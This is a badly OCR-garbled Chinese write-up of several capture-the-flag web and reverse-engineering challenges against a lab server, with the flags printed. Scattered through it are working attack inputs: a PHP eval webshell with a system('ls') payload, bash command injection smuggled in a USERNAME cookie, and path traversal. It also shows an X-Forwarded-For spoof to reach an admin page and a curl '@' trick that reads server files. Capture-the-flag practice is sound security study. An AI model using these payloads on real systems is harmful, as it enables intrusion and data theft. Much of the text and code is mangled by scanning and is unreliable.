R.reg write i32(uc.ARM_REG _R8,r),R.reg write_i32(uc.ARM_REG_R9,m),R.reg write i32(uc.ARM_REG_R10,e.length),R
.mem_map(t,4096,uc.PROT_ALL);
for(var a=0; a<o2.length; a++)R.mem _write(t+a,[_[02[a]]]);
R.mem_map(r,4096,uc.PROT_ALL),R.mem_write(r,stoh(e)),R.mem_map(m,4096,uc.PROT_ALL);
var o=t,u=t+02.length;
return R.emu_start(o,u,0,0),htos(R.mem_read(m,e.length))
}
function get_pw()

{

for(var e=stoh(atob(getBase64Image("templar"))), ="",t=0; t<o3.length; t++) +=String.fromCharCode(e[o3[t]]);
return _



https://blog.csdn.net/gonganDV/article/details/96285636

HABRKES: EHEBIEZMRI, test_pw(enc_pw(input),get pw())7F AL
He, enc_pw(input)58IANF %, Tiget pw()ELEEAE, ArUAEH 6 HEiETget pw()E .

Ly U =EdEE L) EES L wins () eSO 4R REe TV M2
| R erET
css XxHR 3

» get_pw()
& "XYzaSAAX PBssisodjsal sSUVWZYYYb"

»

B3|F5E8: XYzaSAAX_PBssisodjsal sSUVWZYYYb
B TR S trenc_pw()R#. HA—AMRRER SR RBH LA T Einput, WHFIEATE_[02[a]], BATHEEMMBEEEN
R4, STEFRBTERLE, REHHERHFRFE.

-5 F =7 = =7 T = = i T -

R.mem_wrzte (t+a, [ [o2[a] 11) ;

BT RBLE B/ S B0 X S ARG R, HiEgetARMA ()& HiAltoHexString ()i 4t .
BBUENT: getARM1()E#1A o2 ik 77 N B 4 et 1T base6Af#Y, X5 H 53— M4 i Hi k.

RG] & PAT AR

function getARM1()
{
var x = stoh(atob(getBase64Image("frei")));
var output = new Array();
for(var 1 = ©; i < o2.length ; i++)
{
output[i] = x[02[i]];
}

return output;

}
/ /IR EME A R B N 1633t

function toHexString(byteArray)
{
return Array.from(byteArray, function(byte)
{
return ('0' + (byte & OxFF).toString(16)).slice(-2);
}).join("")
}

toHexString(getARM1())



» function getARML()

{
var x = stoh(atob(getBaseb4Image("frei”)));

var output = new Array();
for(var i = @; i < o2.length ; i++)
{

output[i] = x[02[i]];

return output;

}
J/EEEABEEEEN 168
function toHexString(byteArray)

{
return Array.from(byteArray, function(byte)

{
return ('@" + (byte & 8xFF).toString(16)).slice(-2);

}).join("")

toHexString(getARML())
< "P800afe10910ale]0a20ade]0R30ale30050a0e30040d0e501005530100001a036003e2064084e0064084e2015004220040c1e501008022011081e2013083e2020053e1f2ffffbakoonan
©ale30090a0e300a0ale3"

RIEB B E]— & N6 7R
0800a0e10910a0e10a20a0e10030a0e30050a0e30040d0e5010055e30100001a036003e2064084e0064084e2015004e2004
0c1e5010080e2011081e2013083e2020053e1f2fffflba0000a0e30010a0e30020a0e30030a0e30040a0e30050a0e30060a0e30

070a0e30090a0e300a0a0e3, A& FHETF 7 # FHALHMARMIE S, X B2 Lk,

HEX To ARM Converter  AllConversions ~ ARM To HEX Converter  Binary Tools ~ More... v Contact & Donate

Online HEX To ARM Converter

Current Successful Conversions: 396250
14084e2015004e20040c1e50100802201108122013083e2020053e112fTba0000a0e30010a0e30020a0e30030a0e30040a0e30050a0e30060a0e30070a0e30090a0e300a0a0e3
*Input your HEX string above then enter an offset (optional - useful for branch instructions), select the architecture and click 'Convert'. The little endian instructien will display in the output box below. The

outputted instruction can also be useful since you can modify it and then convert it back to HEX using our ARM Converter since the ARM converter can convert almost all instructions outputted by the HEX

converter. For Branch instructions, it's suggested you use Branch Finder.

Ox Enter your offset here (leave blank if unsure)

ARMVZ ARM  ~|
MOV RO, R8 .
MOV  R1,SB
MOV  R2,SL
MOV R3,#0
MOV RS, #0
LDRB R4, [RQ]
CMP  R5.#1
BNE  #0x28
AND  R6.R3,#3
ADD  R4,R4,R6 .

ADD R4, R4, #6

Made with <3 by Kienn & Dida from iOSGods.com

XA KA & 1 B A i

MOV RO,R8 ; RO =8192, XEMNZREHtE
MOV  R1, SB ; SBREESEUIEFFEE, R1=RI=mMREURGEIEHER, BiaHESRAYEN


http://armconverter.com/hextoarm/

MOV R SL ; SLEHERIRFISFEE, R2=R10=e(INZBLIKE)

MOV  R3, #0 ; R3ZTEES

MOV R5, #0 ; RSBEFENEBR_ E— Ml EERIEHE

LDRB R4, [RO] ; LR 0x14, BEHFRRIEEARS

CMP RS, #1 ; BRSS1ER, SERFERGAF

BNE  #0x28 ; IRIEIRGEIER, ARSS1EG18S, SMEFNIBkEEI0x284k

AND  R6,R3,#3 ; BR3IFIBESEREARE, EHATEBRITHFBIRSHAIENRG
ADD  R4,R4,R6 ; ¥GR4 SREHENMAIEEMENRA

ADD  R4,R4,#6 ; ILLALEOx28, R4MN6

AND RS, R4, #1 ; BRAMVESHIEREARS, ERAAEHNIRS=0KZR5=1
STRB R4, [R1] i BRAMESAHENLAR T BN RO AESE b

ADD  RO,RO, #1 ; ROfN—

ADD  R1,R1,#1 ; RIf—

ADD  R3,R3,#1 ; R3fl—, R3EitHse

CMP  R3,R2 ; BR3SR2MER, SERFEIRSGAUF

BLT #0x14 ; RIERSARERFAMRIZENTR2ZE/NTNBHERI0x 144k, BIETHEER N TRINESK
SR

MOV RO, #0
MOV  R1, #0
MOV  R2, #0
MOV  R3, #0
MOV R4, #0
MOV  R5, #0
MOV  R6, #0
MOV  R7,#0
MOV  SB, #0

MOV  SL #0



X B R A X TARMIE A VR K 521 .
R G 1B F R R 5 3B test_pw(I N FEE BB, 15 getARM1 () getARM2 ()& %, 4R J5 I F toHexString (getARM2 () & %5 »

function getARM2()
{

var x = stoh(atob(getBase64Image("eye")));

var output = new Array();
for(var i = @; i < ol.length ; i++)
{
output[i] = x[o01[i]];
}

return output;

¥#: getARM1()fgetARM2() R HIARZE TR EARF, REFAFMIEARE, BiAMNEsecretjs
RG] & 1B TR

o OFEx Disdae DEdE (PrtEEs Qus One NS B & W oEsis

| e
css xHR R

for(var 1 = 8; 1 < ol.length ; i++){

il

g

output[i] = x[ol[i]];
}
return output;

¥
/PRI A REFEE RN 163H

function toHexString(byteArray)

{
return Array.from{byteArray, function(byte)
¢ return ('@" + (byte & OxFF).toString(16)).slice(-2);
}).join("")

¥

toHexString(getARM2())

< "@900afelPalRafe10830a0e10040a0230050a0e300cRa0e30020dRe50060d1250560862201c0R4:200005¢c30000000a0360462206005
0040a0e30060ale30070a0e30080a0e30000a0e300a0ake300CDale3”

hS N

(SE Ay F
0900a0e10a10a0e10830a0e10040a0e30050a0e300c0a0e30020d0e50060d1e5056086e201c004e200005ce30000000a036
046e2060052e10500001a2010080e2011081e2014084e2030054¢e1f1ffffba0150a0e30000a0e30010a0e30020a0e30030a0e30
040a0e30060a0e30070a0e30080a0e30090a0e300a0a0e300c0ale3

KRG BHELHARMIE &5 2]
MOV RO, SB ; SBEFSEUFFRE RO=RI=m XERENED (get_pw(RIRENE) AISHEHE
MOV R1,SL ; SLEHHEIREIZ7728 R1=R10=R XE2EN\HIZBAILHbE

LW Fall) R Pno -0 B &S Y SEmTTAA LS 2


https://blog.csdn.net/mickey35/article/details/82011449

viuv

K3, RO

MOV R4, #0
MOV  R5, #0
MOV  IP, #0
LDRB  RZ, [RO]
LDRB  R6, [R1]
ADD R6, R6, #5
AND IP, R4, #1
CMP IP, #0
BEQ #0x34

SUB R6, R6, #3
CMP R2, R6
BNE #0x54
ADD RO, RO, #1
ADD R1, R1, #1
ADD R4, R4, #1
CMP R4, R3
BLT #0x18

MOV RS, #1
MOV RO, #0
MOV  R1,#0
MOV  R2,#0
MOV  R3,#0
MOV R4, #0
MOV  R6, #0
MOV  R7,#0
MOV RS, #0
MOV  SB, #0
MOV  SL, #0
MOV  IP, #0

¢ ROERI/NEZIHHITRIR

; AR 0x18 R NISHEES
AENBNERS
; BFROINSAIZERIEARG
FERASTIESHIERENIP
; FIHTIPS0REES
; SERIP= =0 EHRAZ(BEGLBILEI0x34
; WNERIP!=0 JZREAMSAILERIEARE
s IEAbR0x34, FIKTR2ESR6REEE

; MNRR2ER6AHEENBEEEEI0x54
; ROpO—
; RIp—

i RANI—RAR— 4IRS

i EERRASR3IEIAN

; BISRRANTFRIMYBKEFEZI0X18

;AR R0x54



HRAE fiy & 45 5 7 W 2279 230 1) iR 4
test_pw() i3 =) R % :

function findReqR6()
{
var pw = stoh("XYzaSAAX_PBssisodjsal_sSUVWZYYYb"); //Mget_pw() B2 KR EME
var required = new Array();
for(var i = @ ; i < pw.length; i ++ )

{

var a = pw[i];
a - 5; //RRAEmS
if(i & 1 == 1)

{
a=a+ 3; /] JRUFER3
}
required[i] = a;
¥

return required;

}
htos (findRgR6())

5 6 AT

function findRegR6()

{
var pw = stoh("XYzaSAAX PBssisodjsal sSUVWZYYYb"): //Mget pw()BIE|A)E D&
var required = new Array();
for{var i = ® ; 1 < pw.length; 1 ++ )

{
var a = pw[i];
a=a-5; // B Azns
if(i & 1 == 1)
{
a=a+ 3; /] AR T3
}
required[i] = a;
}
return required;
}
htos(findRegR6())

= "SWu_N?<VZN=gngnm_hn_gnQPTRXTWT "
»

BF|FRE: SWu_N?<VZN=gngnm_hn_g]nQPTRXTWT
RIGEE W Eenc_ pw()HIH H % %



[function reverseEnc(argarray)
{
var test =
var output = new Array();
for(var i = @ ; i < argarray.length ; i++)
{
var x = argarray[i];
if(test == 1)
{
var sub = (i & 3);
X - sub; [/ RN LA S1E .

X - 6; [/ RFRFE e
test = (argarray[i] & 1);

output[i] = x;
¥

return output;

htos(reverseEnc(findReqR6()))



RG] & AT

2?2 tunction reverseknc(argarray)
{
var test =
var output = new Array();
for{var 1 = @ ; i < argarray.length ; i++)
{
var x = argarray[i];
if(test == 1)
{
var sub = (i & 3);
X = x - sub; /IR EAR S .
}
X =x - 6; J/BinizEhne
test = (argarray[i] & 1);
output[i] = x;
}

return output;

}

a;

htos(reverseEnc(findRegR6()))
< "MPmVHO4PTH7hhafgYahYaVfKINLRNQLZ"

>

BEZ4E: MPMVHI4PTH7hhafgYahYaViKUNLRNQLZ
I\ % iElogin, JR[EIWell done, i #flagik®|

Well donel

#Z3lflag: MPmMVH94PTH7hhafgYahYaVfKJNLRNQLZ

REES:

/blog.csdn.neth




1. F12REIRK R FesecretjsHH I =A%, 15 2 Blflag i 5 i 4% 1+

2. HM=ARE, Hoget pw(REGEARBEANNE, REEGER, FrUlEsl 6 BEEAM; Menc_pw()Eftest_pw()ik %
BAWTE, FIUMEREMERFENGERHY, BEEFEELRARMAE S,

3. MRYEARMfir 4141 H 33 7] R 4

W

ERREG:

1. ZHWP;
2. 2%ARMIE4;

3. 2B ARMA F#1E

+=. bug

TFEEELE, R—AIERNE, BHAEFEM—IKS, BREERXF W TR

Home Manage Personal Change Pwd Logout

Hello, 123, Welcome

HE mdiManage I E S ER A Zadmin, BAEE DR, FrCAIER DITEESusername vadmin, Bk RZ: B
logout, #RJ5 m difindpwd, IAEK S LA G E B H, MdfresetfEFRNINE, R5EEKusernameyadmin

text/html application/xhtml+xml application/xml;q=0.9,image/webp,image/apng,*/;q=0.8 3|
=b3

Referer: http//111.198.29 45:45374/index_php?module=findpwd&step=1&doSubmit=yes
Accept-Encoding: gzip, deflate

Accept-Language: zh-CM,zh;q=09

Cookie: PHPSESSID=00egj3l45mpvai15f557o7s3gcO

Connection: close

username=admin&newpwd=123456

2 JE 18 Fadminfl& 4 5 i % Blogin, A diManage H: BRIPZE 11 i) 3 &

111.198.29.45:45374 T7=
IP Not allowed!


https://blog.csdn.net/gonganDV/article/details/96285636
https://blog.csdn.net/mickey35/article/details/82011449
https://www.jianshu.com/p/9f71a0a6bcb6

F & fidiManageft A, BXiERL, HinX-Forwarded-For: 127.0.0.1, Aifiki¥%, REAEEFEMNRIFERILH LS 2 index.php?

<div class="wbox"=
=<div class="container">
<p>Where |Is The Flag?</p>

<p style="font-size:100px">: )</p=

</div=
</div=
<! index_php?module=filemanage&do=2?7-->
</body>
</html=

module=filemanage&do=??? HIiE/~
B R A IIE S —MEBAfilename, RJEEHIT—A 4, RIEflenameZE M v] 82 _F4E X4, do=upload® F{& 5, TR1
WURL, 7893 b0 FmE

.198.29.45:45374/index.php?module=filemanage&do=upload

Just image?

BRI | SR

SRJEBEAE A% — NS0 L H HE 175" You know what i want 1", T R7E LA ST RIEHMEITER, 2BFRIERLUL—HEELE, &
BOCMFIEER, ARJERE S SRMIEBON B R SO SRRSO Sk, K A TORPHPAE 3R, 3K BLE A B R s SO P R R T IR IR A &
SO SR R AR

Connection: close <head>
<title>Message=</itle>

——WebKitFormBoundaryi8LdWV8ddHwORIj0 <meta charset="UTF-8" />
Content-Disposition: form-data; name="upfile"; filename="1827030121.php4" <fhead>
Content-Type: image/png <body>

<script>alert('you have get points,here is the
X89PNG flag:cyberpeace{e7df207e64067531e75a4f3dba2f755b}');</script><script>window.location.href="index.php'</script=<
<script language="php'>a</script>

Z3Fflag: cyberpeace{e7df207e64067531e75a4f3dba2f755b}

+=. wtf.sh-150

SER


https://www.cnblogs.com/luolaobiao/p/9917878.html
https://www.cnblogs.com/wangtanzhi/p/11214333.html

RITERUER—ANRIZIFE, TUEMERKS. RAXE, BEEE. qENEURXEUEHRES KR

URL http://111.198.29.45:46648/post.wtf?post=2?? , ???MRFBHRLERHF L, B T WpLLEA XM B 3 FiliE
T dn SR I e RS i ST 1) B P AT AR O 1 G & SO EE B Rt 2 LB R 7, a0 SRR B AR I 5 B BN A 4 B AT BA U 1]

PR 45 3% b FOAT AT ST A
TFRWEURL: http://111.198.29.45:46648/post.wtf?post=. ./ V5 [ k<45 2| R sk Y5 g

: < G @ (0 111.198.29.45:46648/post.wif?post=../
P P

Posted by

Posted by

Posted by
<html>

$ source user_functions. sh <head> <link rel="stylesheet" type="text/css" href="

/css/s

to the wtf.sh Forums!</h1> § if is _logged in § then $§ echo "<p>Hi, ${COOKIES['USERNAM

<a href="/profile. wtf?user=$ (basename $ (find_user_file ${COOKIES[ USERNAME']}))

">Prof

href=/new_post. wtf>New Post< ; $ else § echo "<p>You're not logged in. <a href='/l
href="/new_user.wtf'>Register</a >" § fi <h3>Posts:</h3> <ol> §$ if [[ —e . index ca
. index_cache. html; $ else $§ for post file in posts/*; do $ post file=$ (basename $post

posts $post file | htmlentities); $ post user= $Inth Ilne 1< qqﬁ:

HWELBEFlagM LS R AERMNAIY, ¢ if is_logged in && [[ "${COOKIES['USERNAME']}" = ‘'admin' ]] && [[ ${username}

= 'admin' ]] $ then $ get flagl $ fi ¢ fi , BJ, WEfFEHadmin®FHiEH LB Fagl.
AR EEMN — K S, REEFRK, & KkIcookieF HI T tokenFlusernameF B

Bl A=k Cookie 2% WN SF Fid HEERRE

TOKEN: hEAPtEd7jSmh5m+nVJrRn1PPYNHbZXEjeLaOxuz5mrLcsSDVQtfjMv4hCGktuYM
USERNAME: 123

T ELAE M5 YRS & B T users B3, A SO & IR TR 37T LLAS 2 B8 F P i cookiefs B«
< C @ ® 111.198.29.45:46648/post.wtf?post=../users

CJquTZEHutdV?dedeSURdXdeHDEWtkOFIJISBSKG+LYtnte | z6wnX7v jw | u990HS7gZLy | onK3LWS | 7Kw=

Posted by
53df62157e75601299b6383c8125a13443088d66
dZrVBQAKfarZSUAEgSDeAugsxC51vhdox2XDdDdd4T jkJ5pnNg jAMyX | GsT I bghKAJAsrxthKBp9J78U | | | GA+g==

Posted by
607d4a023eb6185a46816c3c10a640668fa2fa8b

A9HbVAivFE/kd33ruVastfSdJJ jDZ590q1Q8h6fxTDWE IRr57pgaJQE6RamZBOAKTN i vF1V8RNdpf2 1 7npili A==

Posted by
abeb4c0211267e2aad065d60fb6d162Ff7e1e53bb
iBe1ZMdXPf3fK3LyGUx |UBXzDk/95W 1 2Q4we5n7VhMHONS r x8pV2USp TeQX jKDDGSANCKhOWEpY Xq4MCr | 2g60==

Posted by
aed75a820ab6b5ade1d2e8b427b59d53d15F1715
quiNNfEXOEOfoqmsuoKFEtRIODwaSZTéLdHDRWH5p3x4bL45xNORMg17KJhAmTMyrSSem++fldPOscng




WEEREMGEE, BB ST EScookie  Hitokenflusername(d

w B = fr A il
BT iEsE

fia] ==i=phalla]| = HttpOnl

19 06:19:5... Thu, 15 Aug 2019 07:01:29... uYpiNNf/X0/0xNfgmsuoKFEtRIQDWNbS2T6LdHDRWH5p3x4bL4sxNORMg17K... false

19 06:19:5...  Thu, 15 Aug 2019 07:01:39... admin false

Fill 35 T T At 2> B 3% Bladminlk 5, 2R J5 B Profiled 2 &K Biflag1

< C @ ® 111.198.29.45:46648/profile.wtf?user=jlviK we @

Flag: xctf{cb49256d1ab48803

.csdn.net/weixin

#3flag1: xctf{cb49256d1ab48803

GEEBEI, = KIAEXTbashar MM, WHAAELInuIA, BV RwE.shgi il DLESIRANR, REERwW, KB
(M



function include_page {
**# include_page pathname**
local pathname=$1
local cmd=
[[ ${pathname(-4)} = ".wtf' ]1];
local can_execute=$;
page_include depth=$(($page_include depth+1))
if [[ $page_include_depth -1t $max_page_include_depth ]]
then
local line;
while read -r line; do
**# check if we're in a script line or not ($ at the beginning implies script line)
# also, our extension needs to be .wtf**
[[ $ = ${1ine01l} && ${can_execute} = 0 ]];
is_script=$;
# execute the line.
if [[ $is_script = 0 1]
then
cmd+=$"'n'${1line#$};
else
if [[ -n $cmd ]]
then
eval $cmd 1log Error during execution of ${cmd};
cmd=
fi
echo $line
fi
done ${pathname}
else
echo pMax include depth exceeded!
pfi

X BARR Y Rk LR R A FE BT WSO AR R T DA IR S5 28 . BT DABILAE B SR Bt Rt AT HR BIwWF ST itk . B E N T URARAD & R IR
replyed ¥ F 7 IR TH

function reply
{
local post_id=%$1;
local username=$2;
local text=$3;
local hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
next_reply id=$(awk '{print $1+1}' <<< "${curr_id}");
next_file=(posts/${post_id}/${next_reply id});
echo "${username}" > "${next_file}";
echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
echo "${text}" >> "${next_file}";

# add post this is in reply to to posts cache
echo "${post_id}/${next_reply id}" >> "users_lookup/${hashed}/posts";

R HTHPARSETFRARER, PO USE—BAAE. WRA PSR —BAar#ar A, mHaES AR FR
XH, AARA SRR HAT RN B ZE KA.
E: wif.shRB4T A5 R 4 08 wifid B A F 6 4208 °$ i 47




FrUAEM—AN 44 ${find,/, -name,get_flag2} KM, BEFHETER, REIMEHF LMEETTshwtf
E: WORAKFHIRAF, BAEHM, FREESSHERANKIETTZHM B R EBT.

J Raw l Params | Headers l Hex |

POST /reply wif?post=_./users_lookup/sh.wtf%09 HTTP/1.1 L
Host: 111.198.29 45:46648

Content-Length: 16

Cache-Control: max-age=0

Origin: hitp://111.198.20.45:46648

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/76.0.3809.100 Safari/537.36

Accept:

text/html application/xhtml+xml application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 application/signed-exchan
ge;v=hb3

Referer: http://111.198_29 45:46648/reply wif?post=K8laH

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=00egj3l45mpva15f55707s3gc0; user=4b9987ccafachB8d8fc08d22bbcard7ba;
USERNAME=S{find,/ -name get_flag2};

TOKEN=IWdYiJK1BUS4gKANSBCdEaswcU8Yaypz Thj2lIhWvuKihwe0bz+pTaWfar6KbJSiDMhyR5gl81EvOggDB
BvzQ==

Connection: close

fext=123&submit=

2 J5 81 3 J& T 15 5 /users_lookup/sh.wifit 7T LA75 3| & F flag 2 i Bk 42

< C ® %&£ | 111.198.29.45:46648/users_lookup/sh.wtf

/usr/bin/get flag2 RE: 123

2 G HEM —AN4 ASusribin/get_flag2ii 7, EE EAERITHEEME, S AEE S —¥Mag

< C ©® L2 | 111.198.29.45:46648/users_lookup/sh.wtf

Flag: 149e5ec49d3c29ca} afy RE: 123

B #flag: xctf{chb49256d1ab48803149e5ec49d3c29ca})

cH

.3 350

i

1. HRFRIFHEREL
2. t&Hcookie & Fadming Flflag1
3. FRIEM+ EAEfE 1% Fflag2

W

HBH



—_

Z%Wp
HXFMFRASSE R
M EERASE TR
X Fbashiy &k

A w0 D

+PU. cat
TFEERERG AR AT, BEIRE, S2REAolcub, RJEREELRMN, (HRURLEREDML,

111.198.29.45:51722/index.php?url=loli.club

BE N Efsubmit 7127.0.0.1, FEEER, HRIFEIFEE T 2L

Cloud Automated Testing

HrNARGY 4L, Fl4e: loli.club

‘ ‘ Submit

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bvtes from 127.0.0.1: icmp seg=1 ttl=64 time=0. 068 ms

— 127.0.0.1 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 0. 068/0. 068/0. 068/0. 000 ms

ERA ELE B T EATH DUEE A ARG B, FAHURLIR.
R URLGFGIEM 2815140, HBERAASCIFRIE, X P17 KIASCIRD AL+ 7 ik, TIASCIER #9727 /i 1k 2
127, MR %7f. IR AR UK T7f, Tt HIREER, FrotgiE: 2ul=%80


https://www.cnblogs.com/wangtanzhi/p/11214333.html
https://www.cnblogs.com/vo-ov/p/3745651.html
https://www.freebuf.com/articles/web/182280.html
https://www.cnblogs.com/hihtml5/p/9272751.html

< C @ ® 111.198.29.45:51722/index.php?url=%80

Cloud Automated Testing

ErNAREY3IE L, lde: loli.club

‘ ‘ Submit

<I!DOCTYPE html>
<html lang="en”>

<head>
<{meta http—equiv="content-type” content="text/html; charset=utf-8">

<{meta name="robots” content="NONE, NOARCHIVE”>
{title>UnicodeEncodeError at /api/ping</title>
{style type="text/css”>

html * { padding:0: margin:0; }

W R, BIEERG, WEALS KM ZHADjangoE &1, X B RDjangotEZE K B & X4 Fr. BERHERT#
#|, settings.pyffjdatabase B EMHRMIEIEERLE XFER, TEHERATA IEFREH IR — &R E R

{div id="explanation”>
<p>
You' re seeing this error because you have <code>DEBUG = True</code> in your
Django file. Change that to <code>False{/code>, and Django will
display a standard page generated by the handler for this status code.

</p>

BB AN EE%E B4 U 2 F ADjango KIEC B XX/, B LAIRATTH B ARk 2 settings.py. X A 5 T F URLAL S 2 1
pSEEN
PEREIEFEAHTTPHRYHH POSTIRERAIX., BAKXX
CURLOPT #, TFEamEINE @S HERRERERE. XP12HEILL
POSTFIELB i@idurlencoded EfIF R EEZEN paral=val 1&
s para2=val2&.. JER—AFEREARE, FERIEENE
FEE. tNERvalue2E—1E4H, Content-TypelligStiss
Remultipart/form-data.


https://www.cnblogs.com/bypp/p/8656507.html
https://www.cnblogs.com/hfdp/p/5912569.html

P AE % Blsettings. pyW AT ikl R @+58 B B8 42, B DABLAE (9 1 Uk 2 B R settings pyHIBE 42, ERBEFIVEY, WTUFFRRZH
SRAB ST A ik

e "/opt/api/dnsapi/views@&i~ in wrapper
1. return f(kargs, **tkwargs)

e ”"/opt/api/dnsapi/views.py” in ping
0. data = escane(data)

BT P S 23R M 1% 2url=@/opt/api/settings.py, &R EF RPN, XK T iF2 BRI muEix B2 T /api/pingid R, #EEX, HEZ
BARHBEH2ER;
& MiE: Purl=@/opt/api/api/settings.py SAJG &I T K database, A4

E_DIR, \\\&&39:FEREE. sqlite3\\\&&39:), \n

FTRWME: ?url-@/opt/api/database.sqlite3, #AFERCTFEi &K Flflag

)1\x02AWH#¥§ {voooo Such A GOOD @} \n&#39:</pre></td>

%3flag: WHCTF{yoooo_Such A_G00D_ @}

+F. i-got-id-200


https://www.jianshu.com/p/801a4e83f453

TR UG 5 H

& C ® @ 111.198.29.45:48913
e Hello World
e Forms
e Files

Hello World B2 [ii R 5 —#Ji%: Hello World from Per!

Forms & — M F AR 6& ) 8 3% TUH 5

Files & —AN3C b A% 5 ;

SR 5B 5L & BlHello World flForms L 8 B 4 7%, Files EAE S LAE & IS H —HEELAD, 1 B & 2 5 m Bk 2]
JG 8N Pl ST

< c @ @ 111.198.29.45:48913/cgi-bin/file.pl

yOFAIFIFyUC

%# , #&')*)-0-(0%()(¥UC

(CCCCCCCCCCCCCCCC(yAUU"yAyAD 1AQaq" 2 =BA#RNO4N3bS, CV17 045 ¢ £,
DEE” a€€€6 ° A €, £ VYAG ax~" eeeSI"ﬁ“K%oIl»oy<<~#yof0yy—8yay[uy—' y1°Yyaeqy}A“eo“yEUl
a O¥Cbmy><ayUy—¥e>>eb¥io GOxp/AK>a6n0+é+<D AEEF2Eaw-0*€C@E@ X OE@PPP >A€

P Reperli®E & KRR Y R4E, WRBISCHR B, WTRSENE &G param()BR%, A RKRBEEFLEGEZE

" “perl use strict; use warnings; use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) )

{ my $file= $cgi->param( 'file' );

AFEMERIAE T, BT READLAE, BAEX, WRERE

+75. web2



ITPEE RS THRD, RILZAERME, i, A EREREwp, XKEDER—T.

<{?php
Smiwen="alzLbgQsCESEIgRLwuQAYMwLyq2L5VwBxqGA3RQAYUMZOtmMvSCM2ZwB4tws” :

function encode(§str) {
$ o=strrev(§str):

for($ _0=0:$ 0<strlen($ o):$ 0++) {

$_c=substr($_o, $_0,1);
$ =ord($ c)+1;
=chr(§__);

$_.8 c;

I o

$_
$_
}

return str rotl3(strrev(base64 encode($ ))):

}

highlight_file(__FILE_);

?>

RIGH T, EERESmiweni N Lz

R 7R B =>forfi I =>base64 Il % => R i F 7 B =>rot1 3N %

T [ 5 BV

rot13f#%: nimYotDfPRFRVAEYFhDN1ZjY1d2Y5IjOkdTN3EDN1hzMogzZiFTZ2Mjo4g]f

FI B RFE: g40iM2ZTFizZzgeMzhINDE3NTdkOFI5Y2d1Y§ZINDhjYEAVRFRPFDtoYmin

baseb64ff%: ~88:36e1bg8438e41757d:29cgeb6e48c’GUDTO|;hbmg

B J5 T T for{E 3R IR 26 A 245 8 (K e e, MEforEIN WA R IR RS ZATH+1, FPHPARD SEHL-1A1 545 8 i 8% B p

<?php
$ 0="~88:36e1bg8438e41757d:29cgeb6e48c” GUDTO| ;hbmg";
g
for($_0=0;%_0<strlen($_0);$ 0++){

$ c=substr($ o0,$ 0,1);

$ =ord($ _c)-1;

$_c=chr($_);

$_=%_.%_c;
)
$ =strrev($_);

echo $_;

?>

run (ctrl+x) O\ copy SF LR | HA

® LAFZXEF O htmlF X2+

flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}



& a&EZlflag: flag:{NSCTF_b73d5adb819c64603d7237fa0d52977}

+-t. view_source

RIFEEREF129T 24 & & Biflag
cyberpeace{f326be94ec2ad37d6a35308f7d28d3ff}

+/)\. get_post

TS R LB RS Fgetl ik Miga=1, HEMEURLEELT .
http://111.198.29.45:49629/?a=1
RGN &3RBRN, Fposti ik R MiEb=2, f#Fhackbar

© Hackbar v X i_%_)ﬂGETﬁ:{Q;}%}i-‘/]\/g ﬁa,{ﬁfj‘léﬁ Q'_%’.‘

Encryption¥ | Encoding v

s sy A APOST 77 A AR X — A4 Hb (L A28 &

http://111. 198. 29. 45:49629/%a=

cyberpeace{5dcf686a73f53def160dfd0786ebdb2a}

Enable Post data
b=2

Z3lflag: cyberpeace{5dcf686a73f53def160dfd0786ebdb2a}

+ /1. robots



BTSN A EEE, RIEME KN %R % Zrobots 55 41iR . robots 2 M 3k FR € b Ja] i b, 187 84 B 435 i txtdg R X
A5 R & VR X RN sk R BAURR Bk 2 B robots.txt2 18 2 5 B oh 5 1 IS R E A E S — A S0
T DA B 357 URL JS T % 0 _Erobots txtit 7] BLER 4 R E B

& c @© @ 111.198.29.45:35238/robots.txt
User—agent: *

Disallow:
Disallow: flag 1s h3re.php

R
RRBIRME B http://111.198.29.45:35238/flag_1s_h3re.php
< C ® ) 111.198.29.45:35238/f1ag 1s h3re.php
cyberpeace {72a240b3f6c2627d33eeec8c58fabbeb)
=z

Flflag: cyberpeace{72a240b3f6¢c2627d33eeec8c58fa66eb}

—+. backup



BIFs A —aRR: “WREEiIndex.php &4 U415 ? " [lindex.php.bak

Q, 111.198.29.45:55855/index.php.bak

IFfEF1FF index.php.bak
A T

I/ index.php.bak

2B BAK 34 (500 =5)
SEIR:  http://111.198.29.45:55855

{BI8EE Firefox M{AIRLIRIESTE?

(@ ¥TH, ®I(0O) Notepad++ : a free (GNU) source code ... v

O FIF3UHS)
(V=B RBERNE NI, (A)

e
T EE O SO R IR W YRS
<h3>#R K13 index . php ) 2 3 SCHF 1052 </h3>
Hl<?php
5flag="Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}"
F
-</body>
~</html>
Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}
—-+—. cookie
REERRN—BRR: “WREEH 4 Rcookied? ”
P E#iEURL: /cookie.php
F124T TH {581 6 —>M 4%
pate: tri, 15 Nov 2U 1Y 14:1U:1Y GMI
flag: cyberpeace{al1e9c6238cf8339b321112bbdf1100b}
Keep-Alive: timeout=>5, max=100
ﬁ@]ﬂag-

cyberpeace{a11e9c6238cf8339b32f112bbdf1100b}

Z3flag:



—+—. disabled_button

— AR Re A B 4n

flag

F12fTJF 2 & 2 R IA —Ndisabledf
o, M

w <form action="" method="post™>»
<input class="btn btn-default™ disabled="" style="height:5@px;width:200px;"

type="submit" value="flag" name="auth">
< fform>

ey
VL g diflagiz 4l

— AT AR B 0 4R

flag

cyberpeace{d0483517d639214a1c/791aaa8e9c/0f4}

Z3flag: cyberpeace{d0483517d639214a1c791aaa8e9c704}

—+=. webshell



1R 4-1¢ Flwebshell"5 ?

<?php @eval($_POST['shell);?>

Fiposti) 771 shell=system("1s"); SREVBIFTE X4, RIHE —N4 Hflag.tti) 4

CcCnuypuun - cCnuouiny -
4l Load |_g{; Split | . Run |
http://111.198. 29. 45:54661/

